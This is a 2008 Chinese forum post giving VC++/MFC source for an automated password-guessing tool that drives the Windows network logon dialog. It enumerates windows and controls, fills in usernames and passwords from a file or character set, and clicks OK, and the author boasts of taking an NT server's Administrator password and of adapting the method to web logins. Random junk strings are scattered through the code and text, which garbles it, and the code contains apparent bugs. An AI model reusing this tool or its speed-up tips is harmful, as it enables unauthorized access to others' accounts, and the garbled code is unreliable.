精品主页 | 软件下载 | 系统下载 | 精品导航| 精彩图片 | 转帖工具 | 版主申请 | 影视下载

查看完整版本: Windows网络用户登录密码的猜解

mxh1998 2008-3-25 18:33

Windows网络用户登录密码的猜解

  
YJ(gAQ!x{
r v&t2m9Hi
`TJf ?~(o                   Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。 \*BgS^:R k9k
K7]1z9r8`B0pl
+s*p~Zd"` D&M
VZle!sEe

fk'S5obTya qrH1p.D%Dm R
9ZaG1X'eZ

E oEN&Zp*E 利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。 DwM*PuC`.u
2Ql&|\N7p X

HU!RO;oL_`tx 一、猜解过程流程:
r@,h+r#?
GjH3a8z4K 为说明问题,下面只写出主要的过程。对于关键过程给出用VC  实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC  技术内幕》。
RH]3q3au d.wn+u
G wi'I4\{3Bf Z 下面给出关键流程的源代码
;WZ(A$luBN
6gRu7hq!_"|2L5|7h n:t(L)gCk;[K[E-H8b
1. 全局变量:
v8Kg\3Dl.Qn
0\K&sH/b8p struct _Thread
8fbj#a zsC Xw LIH!G@"HET
{
P5L5Fa X`1H Zn
4d}/uxEA0C CWinThread *pThread;
:gRNtz*Cob T(BWZE7~rI!BT
};
D2u!g3_;[)xt\k,T S;`RL$G l
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数
N"xQr/Qk+S
L7CHz1i CEvent gEventNextPass;//取下一个密码,为实现同步引进 &|/n)X5ep+|L
#H%_)y(m?"q+~!D
CEvent gEventPassOk;//已取得密码,为实现同步引进
Pnkb8R+X;A
MiZ [EQk:@])v{ CEvent gEventNextUser;//取下一个用户名,为实现同步引进 Kc1ZA.xr
\i7l(gg.v
CEvent gEventUserOk;// 已取得用户名,为实现同步引进 5`ZTS:Z`a.H
c(_l Go&P/C;^n ]
CMutex gMutex;//互斥量,只允许单线程访问
1gBHT%h+RI ;T!auX2{CB
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。 -j2CFGFc.P.r
v)\G.X7I;{"r;G
char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名
'p _8LKX \$Ae`$e7B

Lo'n{qg 2. 线程启动:
)Y!vY9aKn;bC-uO (Hh0bV\{+f-|
{ )K/BP&d!W{$Q
.wMW]iH
file://密码枚举线程
c(e:O'eH%ma D
Yb;GYV&y k8\)B if(PassTread[0].pThread==NULL)
%Qe4\Tv3M4v5? 4\ mr"E-S7MW7F
{ )[s)K3\-E I$e

SW;xbN3K1GCg PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
cv0otWtS2y D&H~P3Qk{
THREAD_PRIORITY_LOWEST);
9nZ1~{~&_4hX E
LQ t)|/o:m PassTread[0].pThread->m_bAutoDelete=TRUE; b7l{9E$mTpj @
@(U#tTa8W
file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多 Kmjh _ ^+I e3n

J!o?t$X1L } ~$PO.]:rI/^%K
s(A)W6^m)C"l7{
file://用户名枚举线程
N/{ t^m1Z\6o
p] at l,q+\:MYI X if(UserTread[0].pThread==NULL)
uk~q}:u(Jw,XgB 9E Cb+h+g
{
zk(Zp*x8|{
]T6CUJ)T$C UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL, rt6s j#x}.jP;D]&WH
g.~/{S-JrXLu*x
THREAD_PRIORITY_LOWEST);
"L.S;S0\)Y2Fq"T
*X5Qs8m@^ P A PassTread[0].pThread->m_bAutoDelete=TRUE; y;I;a%Wg
$q m]6p+};X6O
} (J;e BW/@6RN(q~
,O/X[j4Oz0L&U7}
file://窗口枚举线程 C4^PW*l`2T`4Z
4}s\jXnE[
for(int i=0;i
9H } {w3J-OwuWO[
%baw6te)Q'X] { 3f9hn_Ep
1\$Nq^YzY7j
if(WindowThread[i].pThread==NULL){ ,QZo`[JB?k a

0M)c7eg!F I'E&J"A WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
ND isl'a:L1I
Z+SlG!d3J3h THREAD_PRIORITY_LOWEST);
1Go'P} O+]O:r s [D#L\"c6Yw,e
WindowThread[i].pThread->m_bAutoDelete=TRUE;
?uCB]A
/[ST \HI }
~8HC.EN0k&CFS p}&LG?
} 6mP1Fm rs
%],D'G-h`

\&kBuJ`G` 3.窗口及子窗口枚举
c!Z1O*bQ 9C3j8ae8Nw.k
UINT ThreadProc(LPVOID *pPraram) PRIVK%V1TzI"i
ba3e,VcA#s dc(X
{ ctO3rc6j,|$fT2SR

\Xj4Gt;z!a4P while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;} hM&LV*N(l

(pk@NRF/y2V return 0;
s*q7J2o*B'J,hII6pMt c"T K&d R B:l7v
}
awM,J+w:F{ O3Fh*y*E*G;we;k

c zS @ ^ctf BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam) a{ E$?g E/t

!Z,o-MvQ \;b;P-|5} t {
8Wm0n }{2ck/a ~GK{ V g
char lpWinTitle[MAX_LINELENGTH]; GBfScN\

eR+wZ Ci#zZ ::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1); [w5kHfhj

F"C/O{DY?O if(strcmp(lpWinTitle,sTitle)==0)// sTitle:网络登录窗口的窗口名
y,u"i {u
~g']+{x r } { gMutex.Lock(INFINITE);//防止两个线程同时操作
8]c/EA u5{2d%n z 'r"Q0aHUE8Q
while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL)); )A0K$R QCk3M{c
sU|:lG
gMutex.Unlock();
dt&V"B3np8jd +D1hZ4y)V2{1kTi
return FALSE; J+Dy]K'p\'|7S
(a{d3` W.yoi
}
W8y j(g6St(o;Xf )H+Y_Mjba?Qy
return TRUE; &G8VoJ{[-?.pN*B
H F]f_iU
} J hgr#@@ u

@V}?rt pD5bn r BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)
0Q+g{lPI ~ +n5\WI6xa
{
#?^3g[.ry_.t1i
D8sO@K char sChildName[MAX_LINELENGTH]; &\["G6_4rd o
-B7W*{*@]7NG
::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);
|C4F k ij
`4m+y@qJ%`HJ file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy  查看窗口的
G!m*pV#@ WRn ey!D"i,D-o k1\
file://各个子窗口 b*|'I:{'J IH|a

(WuIU:c // 的属性。通过对比各控件的风格或名字来区别各控件。
r|A Q)P5pO2e
U-q lQ1uwX if(strcmp(sChildName,"Edit")==0)
8O'L'r7k(Ax"s7V!y
v9nN,F-z;S { DE)_9@H wf
!J)wY-[d8X![ {mwB
DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE); R+Q+v-]l3W

4q/`:G*i9F{1c;Ga if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件 D [OP3SmF4jj
:]n%Rk/kb6V
{ e jn$X1k7|
v3`_]1^d
gEventNextPass.SetEvent();//发送“新密码”事件
2M-t i W_K t[b-o #ep2gq+I ~]
WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件
*H+`X@j2Y E^G V)[2a6@*zE-Cts&v
gEventPassOk.ResetEvent(); file://复位
t e&v)P?Ib I z5T ]!Uj
::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
.|7` ks [Z4^D 2L~~YF0e(O g
file://把新密码填到密码输入框,也可用SetWindowText()
:^_uE7Tw!PLPx
*Q-a C*},W4}'~\ bPass=TRUE;//记录密码已填入 +cm d$T9vPt
?%e M@7k Zv
if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。 +Q R?!iz(k k WO
u/D6Ht:^!h7KX
{ k@k-p+X6{"jzK

#rK(V0d0\;a Y&Cb ::SendMessage(::GetParent(hOk),WM_COMMAND, 7}[gM bm\M

l,MO.ow&] {{$\&c (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk)); 'dz%]!D ww"tB@C;H,v
5o$]/[0[j4he:Yp
file://向“确定”按钮送消息,参照ClassWizard的消息映射
&\ M&W&Q)@z4qD;p)` 1s hqL&X
bUser=FALSE;bPass=FALSE;hOk=NULL; [1w*mr:O

5C O S.u-O4^R)~7g1z(Nt file://完成一次登录,初始化 'G;XdPo:m
[Id#@D Y}!V:z
return FALSE;
c(l$z k*o#o'I#xY
zj3Jg_C }
&Bj,e(~{.U Hz'h+Ma4r[
return TRUE; ,EG!w8},Y5ctZd+ZD
iLW0p7TM]
} (y5ST5x QJuV4I
+Oc0?c6tH
file://非此即彼,这是用户名输入编辑控件 %k}N B8UE't

md(~z2~6H~,s5jY if((dWinSty&ES_READONLY)!=ES_READONLY)
D3m G wQ2O1K5N 9^cU2rmv `:o-J
{ 2]m1N _3W

}[*\.Mcy/|)Nf$h ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
ssU {.z2A c;S )Wd8O^$}_"b*p E5l
file://把新用户名填到用户名输入框,也可用SetWindowText()
v-Xq$}%v D'z ?/?.Ey$X,l
bUser=TRUE;// 新用户名已填入用户名输入框
#t;cH-O2J\*y1V#B e6_S'Oe8Gq
if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。
Qy!W9x\ze;R /Zg#W$].Sp!p,D a[B$T6e
{
/{?m(s yt8rF rv&F3Lptp;z(?
::SendMessage(::GetParent(hOk),WM_COMMAND, /p$J.Vf|s
`;cP.bLB
(WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
,gS`WN 8he n;ccj7F
file://向“确定”按钮送消息,参照ClassWizard的消息映射
Qb.e3`(DHM!Q U
6Gd.\Hnv,V/N bUser=FALSE;bPass=FALSE;hOk=NULL;
EyV#s.Aql
O8yo]jsXe#f!~V file://完成一次登录,初始化
+t(P8G9G:z%vE a){8y #`c L3MDQ ?Z
return FALSE; `,^!Z~7[?
(q E%Q2}'rR Yg
}
"}"n+X [PuQ n;Wz]1{B,bw:\
}
X5g2L!~'q2v5Z ;LRC4^ }sMH
return TRUE; xt3AOr

zNXM2K8B8\_ t }
9Dm1Z[!^~Z"V${
by#R H2\6a)?9N file://如果是按钮控件 *T(|.[&LV|5r
B3c [YkNJ a
if(strcmp(sChildName,"Button")==0)
C%FrAC a)N
U{/g|$mKP { b^^.Z;s

rxl)C Fp char sChildTitle[MAX_LINELENGTH];
ti#zo0N
XL8UG!B$j#IIoz-g ::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1); }i;I,W T)PZ
B1g SE2x/y7b.r&rmE
if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE; Q8q? g byR
E\3J-J'Z8_,z\0z
// sButtonOk:登录窗口中“OK”按钮的标题 K? i"K4G$}4QVeH

6MGR8@v%K'e hOk=hwnd;//记录“OK”窗口句柄
s r_,w} cH@Vo S#y Wk)? ?E%Y
if(bUser&&bPass) )R PQw'L,A2BT!p
$W3ZG Qx_
{ WZu7fo7H|\
-}"S:hq {!rf
::SendMessage(::GetParent(hOk),WM_COMMAND,
cqYEhoP
3S pi)@[.L.Q (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk)); SB r9Wx
.B7ZgD)JV ka)M
file://向“确定”按钮送消息,参照ClassWizard的消息映射 o-S F5NB7d-e*r
$~ fLS*RS,B1a
bUser=FALSE;bPass=FALSE;hOk=NULL; 4`$WI:`;E7_,Ic$p
(K@)_ep%y9i!B&`
file://完成一次登录,初始化 du!xJ P W;q6RQ.e

%u3}(Ce;Bl;`[_ return FALSE; .Cmu1I,P7gQ

*]2v)X5m@,l ^^ } Ib!}%y l*AM
*I_h|x I2_I7j
return TRUE;
Rd [qLmS3s r)sB~7ZHc
} /V:} l$X9S8| D]

E8dSRJ*` return TRUE; +d a _^/Eu%kx r
;|$E-S)O7LYG
}
|&oFDH%nr
~p%e8F*T bcV l0zd4xh w
4.用户名枚举: ~-aH%A"z OfO

:B%E!b]&MB3F'y;l UINT GetNextUserF(FILE *file) |dpk/a1m
!H{I&j0f#T%BbuY
{
-^ r[ W-b8I6Zu
JZ@/X8@i7P~V char cUser[MAX_LINELENGTH ],*token;
9vI.k/^)Zg2O1@` _7c!Px'^!g[]A
FILE *fUser;
.Y}%e kC\/mC.L G $l%kcj/}5a?
int i,flag=0;
-u&~&u?(p.gS
c7y1B#Xzk y:B if(NULL==(fUser=fopen(sUserRoad,"r "))) <A href="file://sUserRoad">file://sUserRoad</A>:是保存用户名的路径及文件名 m uE(_#ZX4E%["RR

b5O I1t-n6Rx skX {
wiVu Y Q.L~3X
i/BOv5Xk d'd8f MessageBox(GetActiveWindow(),"打开文件时出错。","消息",0); K^"sae&X

4Hx2n4ia[G if(fUser!=NULL)fclose(fUser); u)DoanV?)n
I&`jtO!o4n6S!aD
return 0; (s [J*h&o

1]}nMT o6g%TM } !c.OW.g8DSX%n4o

Q b7Am%sxf*vc.NH8H9\ l while(!feof(fUser))
3f I(HM1yw
s oq0Qz9X { n4]O0},Q"~ P
SI(M'l#Z `E;~\
for(i=0;i "Z Zc;q/E4k

0Md Y ?&my*a(GV if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))
S'L+`wA&MD ? U'j!b4[
{
}V~v!] j"m
gf%Os+G Pf bCheckUser=FALSE;//记录用户名枚举完 L0m!Yse
-p MR2u3u2Ucx
fclose(fUser); 9o+z4I1q@` Zk
U{$[A+q z Cgtp
return 0;
3m^ p,SGIZ7s
#Yp:g%z l? }
b-Hb(Bm*fm G y4o4l\)eyL
token=strtok(cUser,SETPRATE);// #define SETPRATE [/img]do
E$hyr)zo~&` V N*m0d}"|?
{
?^)Aj!z'N"v(Ij m)P(v+rM?
WaitForSingleObject(gEventNextUser,INFINITE); S9@$_)FGk%w4R9y
]u5[;` znb
// 等待“新用户名”事件
^L3|R!a
E9k,z*R7fL| gEventNextUser.ResetEvent();//复位。 H.o:R,m#T7c)v.g

A X4?,? _m for(i=0;i p7S*N T ijf4Zh

+?"N1r+T)P k(n2_^Q strcpy(cCurrentUser,token);//改变当前用户名。
0ODY&^i%YD
G8s.Hnxv}X#~\3@~ gEventUserOk.SetEvent();//发送“用户名完成”事件 FfZ3o6cju*o;u

A:L)@i~-g] }while((token=strtok(NULL,SETPRATE))!=NULL); 5|Ht8jN$Wg

[-~!p h e"C,D } 'qk"M5M f*iU

:b$c_;|0E|J return 1; OyD:t[_s m.}
-g'?0TQS
} Qc_FA-BeS'k

? KY#C'a
'X6W K&E b-P _-V$hEB2@
CV1k6CZ/a
5.密码枚举: qbB*i^9p&P [!od
9W?*J5qXe[
UINT GetNextPassL(LPVOID pParam)
]9@E qY "N|kFN:cR3^5D
{ K~!L6b4K

Ut&zQ_P5`R int i,j,iPre; P(tB p@)E4@
Bu kgUPH,y[
char cBuf[MAX_PASSWORD_LENGTH]; ,CuU ac0H

8ZI*i)WY9w)h BEGIN:
j!DvY4|(c*|
L\Lp*qC1Y for(int m=0;m
lK:T4K4Q%I4g Cy"bT}9O
{
wP;M;Q1[~2F
I1sjr-`0W7X*e <A href="file://char">file://char</A> cCurrentCharList[MAX_CHARLIST_LENGTH]:当前密码组成字符集合列表 $H+{({i&RH_Ij&c0f
};h0n2q(GV1F
file://例如:cCurrentCharList =“abcd”:表示枚举的密码由abcd组成
\a8E/K {d g'W/`^ :n b N w$E"uC[
<A href="file://int">file://int</A> cCurrentPCList[MAX_CHARLIST_LENGTH]:指向当前密码 5l8zk'p8I:j'? k9}6U
U\:\ r/wT$Gr
file://组成字符集合列表的列表
4j6w q;q{m ]$e $a3G@+t2VF
file://例如:4444:表示生成密码为“dddd”, x0i9_(G)D Z^

j/y#_&]-Y3lpTI <A href="file://4231">file://4231</A>:表示生成密码为“dbca”......
W\)Bs0s,RQfL v m KIzi"D2\4seM
cCurrentPCList[m]= iCharCount;
#G`s%|d b7A us ]w
// iCharCount:密码组成字符的字符个数
;X(F v?2ddk
2qAU zi:@ }
j-X*kk)F'r0h
1XVx;d.] FX while( cCurrentPCList[0]&gt;=0)//如果CurList.cCurrentPCList[0]&lt;0 结束 }b9^4` L(m3g!{"@,c
{9w a8_:A4z
{ T\F!i$YC"J
%jp0y"X ~
for(int n=0;n xI%U'U%f,o"QGT

'n z:f"h*jDk)aX while(1)
!`2v s.@7DC^ [ OpJ Qt!F\9B)}^:W
{ !wPe%} z\

p V o2E@$S for(i=0;i
)v%x;y0PZ9n 0t5K1U!e*Z
{
o3Y-d&t]G]L
M h\hkh cBuf[i]=cCurrentCharList[cCurrentPCList[i]]; 'Q:D3X#e|}3s

$UJr9i)x;kQ S,c }
|4fX2C$V8P6QR :F @s-v#VUn
WaitForSingleObject(gEventNextPass,INFINITE); z.E|6kj

~dt4]v._ // 等待“新密码”事件 5P F2C&CA
6s#y'@9xI-d)N
gEventNextPass.ResetEvent();//复位。 u+W+H$piOE
(H,Y4PZ&v2{%_
for(int n=0;n VQ6cCUD]

(U7~7S q;cg:NF5t strcpy( cCurrentPass,cBuf);//改变当前密码。 1tj!V\+`/M2fC
]q)kf mTs5^1M
gEventPassOk.SetEvent();//送密码完成事件 1HAiY%Y
;Tu^1N|.uo
file://进行cCurrentPCList数组的处理。 8lL2J_2\5sT]

:N)g8q:u'T1]y if(( cCurrentPCList[i-1]--)==0)break;
+\ mZXgs$p#Q
Z {8U:`5{Z+}rM }
'@ `_v#L5o^L.P 9[{8GcYi)zW
file://最后一位复iCharCount;;
AYZ]&N(F
|cJ7} n8HwQ0| cCurrentPCList[i-1]= iCharCount;
T;l,K$T3lE/M
_S"gzE6M iPre=1;//借位标志 +X1Z3_C T?0eaK

c\"De7WT(o n for(j=i-2;j&gt;=0;j--) ?`5GpU7R6j

JDk/u3K F0oD {
+?$b gJ ndJ *k Z@,D+DG
if(( cCurrentPCList[j]-=iPre)&lt;0)
1]Y"EXo'@:`aO )hZ)oV9F a W^z4q!U
{ Y0qq$^%|a[3{?
d l3wm%Z_E6g @i]
if(j==0)break;//结束。 x;v'P Y$ClBw
Da4g{3Xq
cCurrentPCList[j]= iCharCount;iPre=1;//复位J,向上借位。
bnSK%T+b9t B` N]4r3B!E r
}
j,y"xU6z
,H"aa'J T6e else {iPre=0;continue;}//不必再向上借位。 V9o [&T~I l

[b#N0x {Nc2p"R }
%o Z%l5LDBres6~ J"Sh#E _Y0l_p?]0_
}
| EMeNM] y"]"x K|F
if(cCurrentPCList[0]&lt;=0) +HJ6i Y,Z+W
%y:E9~,Zq)z"EZ0E
{
~4`R:z/c Jo
o7pI)t\di,Gn1j.d file://复位,进入下一个循环。
M8y\+C!B'T
#zw%I }&Jj if(!bCheckUser)//如果用户名枚举完
Paer2u W1Oo XQ
{ $b&W8n"wW

N3E#T:`f ]~ MessageBox(GetActiveWindow(),"所有的用户名及密码已枚举完。","消息",0); 3E+s$@*TX&V1\?
9{a c$x,zHr$l:~
return 0; 8]hVBm'X+^0m
m_%y(V0c5s0S;Z/J1I"g1I6w
} $N\{:}.~S
D x)U6`|#q)M
gEventNextUser.SetEvent();//发送“新用户名”事件 B C5jPB

o0eM!f(zU7V WaitForSingleObject(gEventUserOk,INFINITE);
:\;P'yWzf)r
W6r\ Z%o4SM file://等待“用户名完成”事件 5~{G%` p

3Ng9Z$XD@n oI9K gEventUserOk.ResetEvent();//复位。 ^&j0\e4kv

uH} r-yh!b goto BEGIN;
s&Z/?3}p&[J(] I
Ue1er3@K U }
~V%Jy3AM#z} IQo 3U/m%W*]%}f
return 0;
`B'o cH*WS c[;N1MvUU
}
M1O7t$q3t-X %j Je5PN fc#S
E-u:jzYW,l(AX_ Z
二、在局域网及互连网的应用: 'AxX7d U8z,l'H'p gu
$qS*]2fr6^
笔者利用按照以上算法编写的软件,在一个局域网的WindowsNT工作站上成功地取得了另一台WindowsNT 服务器的Administrator的密码。同样们也可以利用这一算法编写猜解互连网上密码的软件。关键的问题是如何在网页中定位用户名输入框和密码输入框以及“确定”按钮。
*b?5~q,r9a}u.b
FFSfQCS;PES? lA )UrQj;L&ym.x
三、存在的问题及解决办法: SiVrK{6i

\y3?"e3GDx^ 在10M/100M局域网里,登录WindowsNT服务器失败后,大约0.7秒钟左右后,才再次弹出网络登录对话框。这一个时间开销严重地制约着猜解的速度。折衷的解决办法是通过“资源管理器”同时打开多个网络登录对话框(从“网络邻居”只能打开一个网络登录对话框),这样可成倍提高猜解的速度,但仍是太慢。此外,可利用几台计算机同时猜解。至于猜解互连网上密码,其速度可想而知了。不过也没关系,许多的密码是数字组成的,更多的密码没有超出26个字符加10个数字的范围。而且人们使用这26个字符和10个数字的频率是不一样的,可以在枚举时先枚举使用频率高的。
页: [1]
查看完整版本: Windows网络用户登录密码的猜解